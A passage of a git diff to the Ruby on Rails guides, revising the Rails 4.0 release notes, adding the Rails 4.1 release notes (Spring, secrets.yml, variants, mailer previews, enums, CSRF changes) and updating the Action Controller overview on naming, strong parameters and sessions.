`ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass` + when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as: -* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument. + ``` + # ActiveSupport 3.x + "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass + "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass -* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`. + # ActiveSupport 4 + "asdf".to_date # => ArgumentError: invalid date + "333".to_date # => Fri, 29 Nov 2013 + ``` ### Deprecations -* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead. +* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead. -* ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1. +* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1. -* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals. +* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals. -* Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols). +* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols). -* BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby stdlib. +* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library. -* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?` +* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?` Action Pack ----------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionpack/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes. ### Notable changes @@ -161,11 +215,11 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actio Active Record ------------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activerecord/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes. ### Notable changes -* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary. +* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary. * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given. The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not revertible). @@ -178,43 +232,43 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ If migrating down, the given migration / block is run normally. See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#reverting-previous-migrations) -* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support. +* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support. -* Add `Relation#load` to explicitly load the record and return `self`. +* Add `Relation#load` to explicitly load the record and return `self`. -* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading. +* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading. -* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending. +* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending. -* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this: +* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this: store :settings, accessors: [ :color, :homepage ], coder: JSON -* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`. +* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`. -* Remove IdentityMap. +* Remove IdentityMap. -* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed. +* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed. -* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class. +* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class. -* Added `create_join_table` migration helper to create HABTM join tables. +* Added `create_join_table` migration helper to create HABTM join tables. -* Allows PostgreSQL hstore records to be created. +* Allows PostgreSQL hstore records to be created. ### Deprecations -* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. +* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. -* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's - how you can rewrite the code: +* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's + how you can rewrite the code: * `find_all_by_...` can be rewritten using `where(...)`. * `find_last_by_...` can be rewritten using `where(...).last`. * `scoped_by_...` can be rewritten using `where(...)`. - * `find_or_initialize_by_...` can be rewritten using `where(...).first_or_initialize`. - * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)` or `where(...).first_or_create`. - * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)` or `where(...).first_or_create!`. + * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`. + * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`. + * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`. Credits ------- diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md new file mode 100644 index 0000000000..d2c3ba0493 --- /dev/null +++ b/guides/source/4_1_release_notes.md @@ -0,0 +1,625 @@ +Ruby on Rails 4.1 Release Notes +=============================== + +Highlights in Rails 4.1: + +* Spring application preloader +* `config/secrets.yml` +* Action Pack variants +* Action Mailer previews + +These release notes cover only the major changes. To know about various bug +fixes and changes, please refer to the change logs or check out the +[list of commits](https://github.com/rails/rails/commits/master) in the main +Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 4.1 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.0 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 4.1. A list of things to watch out for when upgrading is +available in the +[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1) +guide. + + +Major Features +-------------- + +### Spring Application Preloader + +Spring is a Rails application preloader. It speeds up development by keeping +your application running in the background so you don't need to boot it every +time you run a test, rake task or migration. + +New Rails 4.1 applications will ship with "springified" binstubs. This means +that `bin/rails` and `bin/rake` will automatically take advantage of preloaded +spring environments. + +**Running rake tasks:** + +``` +bin/rake test:models +``` + +**Running a Rails command:** + +``` +bin/rails console +``` + +**Spring introspection:** + +``` +$ bin/spring status +Spring is running: + + 1182 spring server | my_app | started 29 mins ago + 3656 spring app | my_app | started 23 secs ago | test mode + 3746 spring app | my_app | started 10 secs ago | development mode +``` + +Have a look at the +[Spring README](https://github.com/jonleighton/spring/blob/master/README.md) to +see all available features. + +See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring) +guide on how to migrate existing applications to use this feature. + +### `config/secrets.yml` + +Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default, +this file contains the application's `secret_key_base`, but it could also be +used to store other secrets such as access keys for external APIs. + +The secrets added to this file are accessible via `Rails.application.secrets`. +For example, with the following `config/secrets.yml`: + +```yaml +development: + secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 + some_api_key: SOMEKEY +``` + +`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development +environment. + +See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml) +guide on how to migrate existing applications to use this feature. + +### Action Pack Variants + +We often want to render different HTML/JSON/XML templates for phones, +tablets, and desktop browsers. Variants make it easy. + +The request variant is a specialization of the request format, like `:tablet`, +`:phone`, or `:desktop`. + +You can set the variant in a `before_action`: + +```ruby +request.variant = :tablet if request.user_agent =~ /iPad/ +``` + +Respond to variants in the action just like you respond to formats: + +```ruby +respond_to do |format| + format.html do |html| + html.tablet # renders app/views/projects/show.html+tablet.erb + html.phone { extra_setup; render ... } + end +end +``` + +Provide separate templates for each format and variant: + +``` +app/views/projects/show.html.erb +app/views/projects/show.html+tablet.erb +app/views/projects/show.html+phone.erb +``` + +You can also simplify the variants definition using the inline syntax: + +```ruby +respond_to do |format| + format.js { render "trash" } + format.html.phone { redirect_to progress_path } + format.html.none { render "trash" } +end +``` + +### Action Mailer Previews + +Action Mailer previews provide a way to visually see how emails look by visiting +a special URL that renders them. + +You implement a preview class whose methods return the mail object you'd like +to check: + +```ruby +class NotifierPreview < ActionMailer::Preview + def welcome + Notifier.welcome(User.first) + end +end +``` + +The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, +and a list of them in http://localhost:3000/rails/mailers. + +By default, these preview classes live in `test/mailers/previews`. +This can be configured using the `preview_path` option. + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html) +for a detailed write up. + +### Active Record enums + +Declare an enum attribute where the values map to integers in the database, but +can be queried by name. + +```ruby +class Conversation < ActiveRecord::Base + enum status: [ :active, :archived ] +end + +conversation.archived! +conversation.active? # => false +conversation.status # => "archived" + +Conversation.archived # => Relation for all archived Conversations +``` + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html) +for a detailed write up. + +### Message Verifiers + +Message verifiers can be used to generate and verify signed messages. This can +be useful to safely transport sensitive data like remember-me tokens and +friends. + +The method `Rails.application.message_verifier` returns a new message verifier +that signs messages with a key derived from secret_key_base and the given +message verifier name: + +```ruby +signed_token = Rails.application.message_verifier(:remember_me).generate(token) +Rails.application.message_verifier(:remember_me).verify(signed_token) # => token + +Rails.application.message_verifier(:remember_me).verify(tampered_token) +# raises ActiveSupport::MessageVerifier::InvalidSignature +``` + +### Module#concerning + +A natural, low-ceremony way to separate responsibilities within a class: + +```ruby +class Todo < ActiveRecord::Base + concerning :EventTracking do + included do + has_many :events + end + + def latest_event + ... + end + + private + def some_internal_method + ... + end + end +end +``` + +This example is equivalent to defining a `EventTracking` module inline, +extending it with `ActiveSupport::Concern`, then mixing it in to the +`Todo` class. + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html) +for a detailed write up and the intended use cases. + +### CSRF protection from remote `<script>` tags + +Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data. + +This means any of your tests that hit `.js` URLs will now fail CSRF protection +unless they use `xhr`. Upgrade your tests to be explicit about expecting +XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit +`xhr :post, :create, format: :js`. + +Railties +-------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed `update:application_controller` rake task. + +* Removed deprecated `Rails.application.railties.engines`. + +* Removed deprecated `threadsafe!` from Rails Config. + +* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in + favor of `ActiveRecord::Generators::ActiveModel#update`. + +* Removed deprecated `config.whiny_nils` option. + +* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and + `rake test:recent`. + +### Notable changes + +* The [Spring application + preloader](https://github.com/jonleighton/spring) is now installed + by default for new applications. It uses the development group of + the Gemfile, so will not be installed in + production. ([Pull Request](https://github.com/rails/rails/pull/12958)) + +* `BACKTRACE` environment variable to show unfiltered backtraces for test + failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553)) + +* Exposed `MiddlewareStack#unshift` to environment + configuration. ([Pull Request](https://github.com/rails/rails/pull/12479)) + +* Add `Application#message_verifier` method to return a message + verifier. ([Pull Request](https://github.com/rails/rails/pull/12995)) + +* The `test_help.rb` file which is required by the default generated test + helper will automatically keep your test database up-to-date with + `db/schema.rb` (or `db/structure.sql`). It raises an error if + reloading the schema does not resolve all pending migrations. Opt out + with `config.active_record.maintain_test_schema = false`. ([Pull + Request](https://github.com/rails/rails/pull/13528)) + +Action Pack +----------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated Rails application fallback for integration testing, set + `ActionDispatch.test_app` instead. + +* Removed deprecated `page_cache_extension` config. + +* Removed deprecated `ActionController::RecordIdentifier`, use + `ActionView::RecordIdentifier` instead. + +* Removed deprecated constants from Action Controller: + + | Removed | Successor | + |:-----------------------------------|:--------------------------------| + | ActionController::AbstractRequest | ActionDispatch::Request | + | ActionController::Request | ActionDispatch::Request | + | ActionController::AbstractResponse | ActionDispatch::Response | + | ActionController::Response | ActionDispatch::Response | + | ActionController::Routing | ActionDispatch::Routing | + | ActionController::Integration | ActionDispatch::Integration | + | ActionController::IntegrationTest | ActionDispatch::IntegrationTest | + +### Notable changes + +* `protect_from_forgery` also prevents cross-origin `<script>` tags. + Update your tests to use `xhr :get, :foo, format: :js` instead of + `get :foo, format: :js`. + ([Pull Request](https://github.com/rails/rails/pull/13345)) + +* `#url_for` takes a hash with options inside an + array. ([Pull Request](https://github.com/rails/rails/pull/9599)) + +* Added `session#fetch` method fetch behaves similarly to + [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch), + with the exception that the returned value is always saved into the + session. ([Pull Request](https://github.com/rails/rails/pull/12692)) + +* Separated Action View completely from Action + Pack. ([Pull Request](https://github.com/rails/rails/pull/11032)) + +Action Mailer +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md) +for detailed changes. + +### Notable changes + +* Instrument the generation of Action Mailer messages. The time it takes to + generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556)) + +Active Record +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated nil-passing to the following `SchemaCache` methods: + `primary_keys`, `tables`, `columns` and `columns_hash`. + +* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`. + +* Removed deprecated String constructor from `ActiveRecord::Migrator`. + +* Removed deprecated `scope` use without passing a callable object. + +* Removed deprecated `transaction_joinable=` in favor of `begin_transaction` + with `d:joinable` option. + +* Removed deprecated `decrement_open_transactions`. + +* Removed deprecated `increment_open_transactions`. + +* Removed deprecated `PostgreSQLAdapter#outside_transaction?` + method. You can use `#transaction_open?` instead. + +* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of + `ActiveRecord::Fixtures.default_fixture_model_name`. + +* Removed deprecated `columns_for_remove` from `SchemaStatements`. + +* Removed deprecated `SchemaStatements#distinct`. + +* Moved deprecated `ActiveRecord::TestCase` into the Rails test + suite. The class is no longer public and is only used for internal + Rails tests. + +* Removed support for deprecated option `:restrict` for `:dependent` + in associations. + +* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql` + and `:counter_sql` options in associations. + +* Removed deprecated method `type_cast_code` from Column. + +* Removed deprecated `ActiveRecord::Base#connection` method. + Make sure to access it via the class. + +* Removed deprecation warning for `auto_explain_threshold_in_seconds`. + +* Removed deprecated `:distinct` option from `Relation#count`. + +* Removed deprecated methods `partial_updates`, `partial_updates?` and + `partial_updates=`. + +* Removed deprecated method `scoped`. + +* Removed deprecated method `default_scopes?`. + +* Remove implicit join references that were deprecated in 4.0. + +* Removed `activerecord-deprecated_finders` as a dependency. + +* Removed usage of `implicit_readonly`. Please use `readonly` method + explicitly to mark records as + `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769)) + +### Deprecations + +* Deprecated `quoted_locking_column` method, which isn't used anywhere. + +* Deprecated the delegation of Array bang methods for associations. + To use them, instead first call `#to_a` on the association to access the + array to be acted + on. ([Pull Request](https://github.com/rails/rails/pull/12129)) + +* Deprecated `ConnectionAdapters::SchemaStatements#distinct`, + as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556)) + +* Deprecated `rake db:test:*` tasks as the test database is now + automatically maintained. See railties release notes. ([Pull + Request](https://github.com/rails/rails/pull/13528)) + +* Deprecate unused `ActiveRecord::Base.symbolized_base_class` + and `ActiveRecord::Base.symbolized_sti_name` without replacement. + +### Notable changes + +* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from + a model's attribute or + method. ([Pull Request](https://github.com/rails/rails/pull/12891)) + +* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on + models. ([Pull Request](https://github.com/rails/rails/pull/12772)) + +* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`. + `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425)) + +* `.unscope` now removes conditions specified in + `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade)) + +* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing, + named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2)) + +* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp + attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329)) + +* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values + map to integers in the database, but can be queried by + name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5)) + +* Type cast json values on write, so that the value is consistent with reading + from the database. ([Pull Request](https://github.com/rails/rails/pull/12643)) + +* Type cast hstore values on write, so that the value is consistent + with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d)) + +* Make `next_migration_number` accessible for third party + generators. ([Pull Request](https://github.com/rails/rails/pull/12407)) + +* Calling `update_attributes` will now throw an `ArgumentError` whenever it + gets a `nil` argument. More specifically, it will throw an error if the + argument that it gets passed does not respond to to + `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860)) + +* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed + query to fetch results rather than loading the entire + collection. ([Pull Request](https://github.com/rails/rails/pull/12137)) + +* `inspect` on Active Record model classes does not initiate a new + connection. This means that calling `inspect`, when the database is missing, + will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014)) + +* Removed column restrictions for `count`, let the database raise if the SQL is + invalid. ([Pull Request](https://github.com/rails/rails/pull/10710)) + +* Rails now automatically detects inverse associations. If you do not set the + `:inverse_of` option on the association, then Active Record will guess the + inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886)) + +* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, + ActiveRecord will now translate aliased attribute names to the actual column + name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839)) + +* The ERB in fixture files is no longer evaluated in the context of the main + object. Helper methods used by multiple fixtures should be defined on modules + included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022)) + +Active Model +------------ + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md) +for detailed changes. + +### Deprecations + +* Deprecate `Validator#setup`. This should be done manually now in the + validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a)) + +### Notable changes + +* Added new API methods `reset_changes` and `changes_applied` to + `ActiveModel::Dirty` that control changes state. + + +Active Support +-------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md) +for detailed changes. + + +### Removals + +* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode` + no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed support for the `encode_json` hook used for encoding custom objects into + JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Related Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement. + +* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`). + +* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`. + +* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`. + +* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`). + +* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and + `Time#local_time` in favor of `Time#utc` and `Time#local`. + +* Removed deprecated `Hash#diff` with no replacement. + +* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`. + +* Removed deprecated `Proc#bind` with no replacement. + +* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native + `Array#uniq` and `Array#uniq!` instead. + +* Removed deprecated `ActiveSupport::BasicObject`, use + `ActiveSupport::ProxyObject` instead. + +* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead. + +* Removed deprecated `assert_present` and `assert_blank` methods, use `assert + object.blank?` and `assert object.present?` instead. + +### Deprecations + +* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to + explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago` + ([Pull Request](https://github.com/rails/rails/pull/12389)) + +* Deprecated the require path `active_support/core_ext/object/to_json`. Require + `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203)) + +* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature + has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/12785) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has + been extracetd into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/13060) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +### Notable changes + +* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the + JSON gem rather than doing custom encoding in pure-Ruby. + ([Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Improved compatibility with the JSON gem. + ([Pull Request](https://github.com/rails/rails/pull/12862) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These + methods change current time to the given time or time difference by stubbing + `Time.now` and + `Date.today`. ([Pull Request](https://github.com/rails/rails/pull/12824)) + +* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed + them to JavaScript functions like + `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643)) + +* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day` + methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and + `at_middle_of_day` as + aliases. ([Pull Request](https://github.com/rails/rails/pull/10879)) + +* Added `String#remove(pattern)` as a short-hand for the common pattern of + `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f)) + +* Removed 'cow' => 'kine' irregular inflection from default + inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9)) + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb index a50961a0c7..27c53689c4 100644 --- a/guides/source/_welcome.html.erb +++ b/guides/source/_welcome.html.erb @@ -10,10 +10,13 @@ </p> <% else %> <p> - These are the new guides for Rails 3.2 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>. + These are the new guides for Rails 4.0 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>. These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. </p> <% end %> <p> + The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.16/">http://guides.rubyonrails.org/v3.2.16/</a>. +</p> +<p> The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>. </p> diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md index 5e99063da8..a67eba8f7c 100644 --- a/guides/source/action_controller_overview.md +++ b/guides/source/action_controller_overview.md @@ -27,6 +27,16 @@ A controller can thus be thought of as a middle man between models and views. It NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html). +Controller Naming Convention +---------------------------- + +The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. `ApplicationController`). For example, `ClientsController` is preferable to `ClientController`, `SiteAdminsController` is preferable to `SiteAdminController` or `SitesAdminsController`, and so on. + +Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and keeps URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details. + +NOTE: The controller naming convention differs from the naming convention of models, which expected to be named in singular form. + + Methods and Actions ------------------- @@ -119,7 +129,7 @@ Note that the `params` hash is actually an instance of `ActiveSupport::HashWithI ### JSON parameters -If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. Rails will automatically convert your parameters into the `params` hash, which you can access as you would normally. +If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. If the "Content-Type" header of your request is set to "application/json", Rails will automatically convert your parameters into the `params` hash, which you can access as you would normally. So for example, if you are sending this JSON content: @@ -138,7 +148,7 @@ Also, if you've turned on `config.wrap_parameters` in your initializer or callin And assume that you're sending the data to `CompaniesController`, it would then be wrapped in `:company` key like this: ```ruby -{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" } } +{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } } ``` You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html) @@ -150,7 +160,7 @@ NOTE: Support for parsing XML parameters has been extracted into a gem named `ac The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL: ```ruby -match '/clients/:status' => 'clients#index', foo: 'bar' +get '/clients/:status' => 'clients#index', foo: 'bar' ``` In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index". @@ -199,7 +209,7 @@ class PeopleController < ActionController::Base # Request reply. def update person = current_account.people.find(params[:id]) - person.update_attributes!(person_params) + person.update!(person_params) redirect_to person end @@ -236,7 +246,7 @@ To declare that the value in `params` must be an array of permitted scalar values map the key to an empty array: ```ruby -params.permit(:id => []) +params.permit(id: []) ``` To whitelist an entire hash of parameters, the `permit!` method can be @@ -247,7 +257,7 @@ params.require(:log_entry).permit! ``` This will mark the `:log_entry` parameters hash and any subhash of it -permitted. Extreme care should be taken when using `permit!` as it +permitted. Extreme care should be taken when using `permit!` as it will allow all current and future model attributes to be mass-assigned. @@ -256,9 +266,9 @@ mass-assigned. You can also use permit on nested parameters, like: ```ruby -params.permit(:name, {:emails => []}, - :friends => [ :name, - { :family => [ :name ], :hobbies => [] }]) +params.permit(:name, { emails: [] }, + friends: [ :name, + { family: [ :name ], hobbies: [] }]) ``` This declaration whitelists the `name`, `emails` and `friends` @@ -311,16 +321,16 @@ in mind. It is not meant as a silver bullet to handle all your whitelisting problems. However you can easily mix the API with your own code to adapt to your situation. -Imagine a scenario where you want to whitelist an attribute -containing a hash with any keys. Using strong parameters you can't -allow a hash with any keys but you can use a simple assignment to get -the job done: +Imagine a scenario where you have parameters representing a product +name and a hash of arbitrary data associated with that product, and +you want to whitelist the product name attribute but also the whole +data hash. The strong parameters API doesn't let you directly +whitelist the whole of a nested hash with any keys, but you can use +the keys of your nested hash to declare what to whitelist: ```ruby def product_params - params.require(:product).permit(:name).tap do |whitelisted| - whitelisted[:data] = params[:product][:data] - end + params.require(:product).permit(:name, data: params[:product][:data].try(:keys)) end ``` @@ -336,11 +346,11 @@ Your application has a session for each user in which you can store small amount All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure). -For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). +For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof. And it is also encrypted so anyone with access to it can't read its 